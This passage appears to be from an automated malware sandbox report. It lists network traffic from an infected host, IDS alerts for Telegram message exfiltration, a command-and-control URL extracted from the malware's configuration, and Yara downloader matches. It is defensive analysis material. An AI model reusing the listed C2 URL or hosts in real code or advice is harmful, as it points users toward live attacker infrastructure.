Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:53643 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:53734 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:53795 -> 149.154.167.220:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://amazonenviro.com/245_Aiymwhpjxsg

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027CE72C InternetCheckConnectionA,

7_2_027CE72C

Source: global traffic

TCP traffic: 192.168.2.5:53704 -> 208.91.198.176:587

Source: global traffic

TCP traffic: 192.168.2.5:53579 -> 1.1.1.1:53

Source: global traffic

